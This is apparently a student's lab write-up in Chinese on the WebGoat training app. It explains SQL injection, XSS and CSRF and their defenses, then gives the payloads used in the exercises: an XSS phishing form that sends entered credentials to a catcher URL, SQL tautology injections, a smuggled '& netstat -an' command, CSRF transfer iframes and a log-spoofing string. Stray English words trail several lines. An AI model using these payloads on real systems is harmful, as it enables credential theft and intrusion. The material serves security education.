本實踐的目標理解經常使用網絡攻擊技術的基本原理,作很多於7個題目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat實踐下相關實驗。java
(1)SQL注入攻擊原理,如何防護git
原理:github
SQL注入是針對數據庫的一種攻擊方式。攻擊者會將一些惡意代碼插入到字符串中,將該字符串傳遞到SQLServer數據庫的實例中進行分析和執行。主要形式有兩種。一是直接將代碼插入到與SQL命令串聯在一塊兒並使得其以執行的用戶輸入變量,也被稱爲直接注入式攻擊法。二是一種間接的攻擊方法,它將惡意代碼注入要在表中存儲或者做爲原數據存儲的字符串。在存儲的字符串中會鏈接到一個動態的SQL命令中,以執行一些惡意的SQL代碼。web
防護:sql
1>普通用戶與系統管理員用戶的權限要有嚴格的區分.數據庫
在權限設計中,對於終端用戶,即應用軟件的使用者,沒有必要給他們數據庫對象的創建、刪除等權限。那麼即便在他們使用SQL語句中帶有嵌入式的惡意代碼,因爲其用戶權限的限制,這些代碼也將沒法被執行。瀏覽器
2>強迫使用參數化語句.安全
若是在編寫SQL語句的時候,用戶輸入的變量不是直接嵌入到SQL語句。而是經過參數來傳遞這個變量的話,那麼就能夠有效的防治SQL注入式攻擊。也就是說,用戶的輸入絕對不可以直接被嵌入到SQL語句中。服務器
3>增強對用戶輸入的驗證。cookie
測試字符串變量的內容,只接受所需的值。拒絕包含二進制數據、轉義序列和註釋字符的輸入內容。這有助於防止腳本注入,防止某些緩衝區溢出攻擊。測試用戶輸入內容的大小和數據類型,強制執行適當的限制與轉換。這即有助於防止有意形成的緩衝區溢出,對於防治注入式攻擊有比較明顯的效果.
(2)XSS攻擊的原理,如何防護
原理:
XSS跨站腳本攻擊,是Web程序中常見的漏洞,分三類,存儲型XSS、反射型XSS、DOM-XSS.XSS屬於被動式且用於客戶端的攻擊方式,攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML代碼,當其它用戶瀏覽該網站時,這段HTML代碼會自動執行,從而達到攻擊的目的。如,盜取用戶Cookie、破壞頁面結構、重定向到其它網站等。
防護:
1>完善的過濾體系
永遠不相信用戶的輸入。須要對用戶的輸入進行處理,只容許輸入合法的值,其它值一律過濾掉。
2>Html encode
假如某些狀況下,咱們不能對用戶數據進行嚴格的過濾,那咱們也須要對標籤進行轉換。
好比用戶輸入:<script>window.location.href=」http://www.baidu.com」;</script>
,保存後最終存儲的會是:<script>window.location.href="http://www.baidu.com"</script>
在展示時瀏覽器會對這些字符轉換成文本內容顯示,而不是一段可執行的代碼。
(3)CSRF攻擊原理,如何防護
原理:
Cross-site+request+forgery跨站請求僞造,經過假裝來自受信任用戶的請求來利用受信任的網站,是一種對網站的惡意利用.
防護:
1>經過 referer、token或者驗證碼來檢測用戶提交。
2>儘可能不要在頁面的連接中暴露用戶隱私信息。
3>對於用戶修改刪除等操做最好都使用post操做。
4>避免全站通用的cookie,嚴格設置cookie的域。
本次實驗是最後一次了,每週一次的試驗讓個人大三下過得格外充實,也有了不少收穫,不只僅是理論知識,更多的是實踐動手能力。網絡對抗的實驗真的很考驗英語水平,讓我意識到學好英語的重要性。這門課,對我從此的生活、工做都有很重要的做用,網絡安全和咱們的生活息息相關,而網絡攻擊手段多種多樣,防不勝防,提升本身的網絡安全意識尤其重要。很開心很充實的度過了一學期,感謝老師的指導與陪伴!
下載地址:https://github.com/WebGoat/WebGoat/releases
下載下來後將jar包放到kali中,輸入指令
java -jar webgoat-container-7.0.1-war-exec.jar
(這個過程可真的是艱難啊!登錄以後沒有顯示左側的內容,問了小組長才知道,由於kali裏安裝的JDK版本過高緣由致使的。因此將原來的jdk卸載並從新安裝jdk1.8,參考kali安裝java1.8
可是官網上Linux 64 版JDK1.8下載不下來,發現有同窗上傳了一個可使用的1.8版JDK ,感謝這位同窗!)
在瀏覽器打開http://127.0.0.1:8080/WebGoat/login.mvc
輸入下方給出的用戶名和密碼便可登錄。
此題要在搜索框中輸入XSS攻擊代碼,利用XSS能夠在已存在的頁面中進一步添加元素的特色。咱們先建立一個form,讓受害人在咱們建立的form中填寫用戶名和密碼,再添加一段JavaScript代碼,讀取受害人輸入的用戶名和密碼。
代碼以下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
將這段代碼輸入到輸入框中:
點擊search出現以下登陸框,在登陸框中輸入用戶名、密碼:
存儲型XSS攻擊是持久化的,代碼是存儲在服務器中的,用戶訪問該頁面的時候觸發代碼執行。title任意輸入,Message輸入消息,嵌入一段js代碼,用戶點擊後便可觸發,
如在Message框中輸入 script>alert("20164322 attack succeed!");</script> :
點擊提交後彈出對話框,攻擊成功!
在station 字段中注入特徵字符,組合成新的SQL 語句。
按F12進入調試界面,選擇Inspect...
對源代碼進行修改。在選項列表中,任意選擇一個值,好比「101」,後面加上or 1=1
。
輸出以下所示:
(1)在下拉框上右擊,點擊 inspect Element 在 AccessControlMatrix.help後面加上 "& netstat -an"
選中修改後的值再點 view
顯示內容以下:
此題包括了兩個請求,一是轉帳請求,二是確認轉帳成功請求,即須要額外傳遞兩個參數給服務器。查看頁面右邊Parameters中的src和menu值,並在title框中任意輸入,message框中輸入代碼:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=轉帳數額"> </iframe> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
提交後生成一個連接,點擊後便可查看用戶操做的信息,成功轉出500,攻擊成功!
在User Name文本框中輸入 Smith%0d%0aLogin Succeeded for username: admin<script>alert(「20164322test」)</script> 達到欺騙登陸效果:
可看到smith登陸失敗,admin登陸成功.
stage1:String SQL Injection
使用字符串SQL注入繞過認證,登錄Boss(「Neville」)的帳號。
將password的最大長度maxlength改成20:
利用永真式,修改password=' or'1'='1,成功:
stage3:Numeric SQL Injection
用員工帳號登錄,進入員工頁面後再經過SQL注入來查看老闆的帳戶信息,先用剛纔的方法選擇一名員工登陸。從源代碼中看一下在數據庫中查找的方式,發現傳遞的參數是員工ID,想要調出老闆帳戶信息,就得把老闆排在id能夠預測的位置,通常來講老闆的工資都應該是最高的,因此把其中的value值改成 101 or 1=1 order by salary desc -- ,這樣老闆的信息就會被排到第一個:
點擊viewprofile按鍵,可成功看到老闆的帳戶: